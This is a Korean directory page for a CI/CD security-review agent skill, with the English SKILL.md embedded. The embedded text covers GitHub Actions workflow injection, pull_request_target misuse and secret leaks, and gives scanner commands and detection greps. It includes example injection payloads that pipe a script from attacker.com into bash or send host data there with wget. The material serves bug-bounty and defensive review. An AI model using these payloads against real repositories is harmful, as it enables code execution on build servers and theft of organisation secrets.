cicd-security
하는 일
이 스킬은 에이전트에게 GitHub Actions 같은 CI/CD 파이프라인의 보안 약점을 찾는 방법을 가르칩니다. 무엇을 스캔할지, 그리고 약점을 실제로 악용할 수 있는지 확인하는 방법을 설명합니다.
사용하는 경우
- ✓대상에 GitHub Actions나 다른 CI 파이프라인을 실행하는 공개 저장소가 있을 때.
- ✓보안 검토자가 워크플로 입력으로 예상치 못한 명령이 실행될 수 있는지 확인하려는 경우.
- ✓검토자가 빌드 파이프라인에서 고정되지 않은 액션이나 안전하지 않은 비밀 값 처리를 확인하고 싶을 때.
스킬 링크
https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/cicd-security/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“이 GitHub 저장소의 워크플로에서 스크립트 인젝션과 비밀 값의 안전하지 않은 사용이 있는지 확인해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 저장소의 워크플로에 스캐너를 실행한 다음, 워크플로 파일을 직접 검토해 알려진 위험 패턴을 찾습니다. 보고하기 전에 발견 사항을 확인합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
CI/CD SECURITY — Pipeline Attack Surface
CI/CD pipelines are high-value targets — a single workflow injection can give you code execution on the build server, read ALL org secrets, and push backdoored releases to production.
0. QUICK KILL CHECKLIST
[ ] Run cicd_scanner.sh <owner/repo> — catch low-hanging workflow lint issues
[ ] Check for script injection: ${{ github.event.*.body/title/name }}
[ ] Find secrets referenced in env: — test if they leak in logs
[ ] Check pull_request_target with checkout of untrusted code
[ ] Look for self-hosted runners on public repos
[ ] Search for OIDC token requests without audience restriction
[ ] Check for unpinned actions (uses: owner/action@main)
[ ] Look for workflow_dispatch with no input validation
[ ] Find artifact downloads without integrity checks
[ ] Search for GITHUB_TOKEN with write permission used insecurely
1. TOOL — cicd_scanner.sh
# Single repo
bash bughunter/tools/cicd_scanner.sh owner/repo
# Org-wide (up to 30 repos)
bash bughunter/tools/cicd_scanner.sh "org:orgname" --limit 50 --parallel 5
# Scan with recursive reusable workflow analysis
bash bughunter/tools/cicd_scanner.sh owner/repo --recursive --depth 5
# Custom output
bash bughunter/tools/cicd_scanner.sh owner/repo --output-dir ./findings/target/cicd
Output: findings/<target>/cicd/scan_results.txt + summary.txt
What sisakulint finds:
- Script injection via untrusted context
- Unpinned actions (tag instead of SHA)
pull_request_targetmisuse- Dangerous patterns (
eval,curl | bash, etc.) - Exposed secret names in
run:blocks
2. WORKFLOW INJECTION (Critical — Most Common Paid Bug)
What It Is
GitHub Actions exposes PR/issue data as context variables. If injected into a run: block without sanitization, an attacker controls shell code.
Vulnerable Pattern
# VULNERABLE — attacker controls pr.title
- name: Print PR title
run: echo "Title: ${{ github.event.pull_request.title }}"
# Attacker PR title: "; curl attacker.com/shell.sh | bash #"
Safe Pattern
# SAFE — pass through env var, never interpolate directly
- name: Print PR title
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Title: $PR_TITLE"
Injectable Contexts (always check these)
github.event.pull_request.title
github.event.pull_request.body
github.event.pull_request.head.ref ← branch names
github.event.issue.title
github.event.issue.body
github.event.comment.body
github.event.review.body
github.event.review_comment.body
github.event.discussion.title
github.event.discussion.body
github.head_ref ← alias for branch name
github.event.inputs.* ← workflow_dispatch inputs
PoC Payload
# PR title / issue title payload:
"; wget -q -O- attacker.com/$(cat /etc/hostname | base64) #
Detection Grep
# Find injectable patterns in .github/workflows/
grep -rn '\${{.*github\.event\.\(pull_request\|issue\|comment\|review\|discussion\)' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.inputs' .github/workflows/
3. pull_request_target MISUSE (Critical)
What It Is
pull_request_target runs in the context of the BASE repo (has secrets) but can be tricked into checking out and running attacker code.
Vulnerable Pattern
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # ← attacker code!
- run: npm test # runs attacker's package.json scripts
Why It's Critical
pull_request_targethas access to secrets- Checkout uses the PR's code
- Any
run:step executes attacker-controlled code with access to all org secrets
Detection
grep -rn 'pull_request_target' .github/workflows/
# Then check if the same job does a checkout of the PR head
grep -A 20 'pull_request_target' .github/workflows/*.yml | grep -E '(head\.sha|head_ref|checkout)'
4. SECRET EXFILTRATION
Secrets That Appear in Logs
# Search for secrets echoed in run: blocks
grep -rn 'echo.*secrets\.' .github/workflows/
grep -rn 'cat.*secrets\.' .github/workflows/
grep -rn 'env.*secrets\.' .github/workflows/ | grep -v '^#'
GITHUB_TOKEN Abuse
The auto-generated GITHUB_TOKEN can be used to:
- Push code to branches
- Create re
자주 묻는 질문
어떤 CI 시스템을 언급하나요?
GitHub Actions, CircleCI, Jenkins, GitLab CI를 언급합니다.
여기서 스크립트 인젝션이란 무엇인가요?
풀 리퀘스트 제목처럼 신뢰할 수 없는 텍스트가 워크플로 명령에 들어가는 경우를 말합니다.
여러 발견 사항을 연결할 수 있나요?
네. 스킬은 여러 CI/CD 약점을 묶어 더 큰 영향을 주는 하나의 발견 사항으로 연결하는 방법을 다룹니다.
상세 정보
작성자의 원본 설명
CI/CD pipeline security hunting — GitHub Actions workflow injection, secret exfiltration, self-hosted runner poisoning, dependency confusion, OIDC token theft, and supply chain attacks. Covers sisakulint scanning, manual workflow analysis, and chaining CI/CD bugs into critical findings. Use when a target has public repos, GitHub Actions, CircleCI, Jenkins, or GitLab CI.
인기도
- GitHub 스타
- 5.5k
- 순위
- #14785
- 라이선스
- MIT
- 업데이트
- 2026. 10. 28.
댓글
- …
이 저장소의 다른 스킬
bug-bounty
5.5k에이전트가 범위 확인, 자산 매핑, 취약점 테스트, 영향 검증, 보고서 작성까지 버그 바운티 점검을 단계별로 계획하도록 돕습니다.
agentic-app-audit
5.5k에이전트가 운영 중인 AI 어시스턴트를 외부에서 점검해 도구 호출 탈취, 메모리 오염, 과도한 권한 사용 같은 위험을 찾도록 돕습니다.
argus
5.5k에이전트가 웹 앱과 API의 흔한 취약점을 찾는 여섯 가지 자동 스캐너를 실행하도록 돕습니다.
bb-methodology
5.5k에이전트가 버그 바운티 세션을 단계별로 계획하고, 다음 단계와 적절한 점검을 고르며, 실제 피해를 낼 수 없는 아이디어는 버리도록 돕습니다.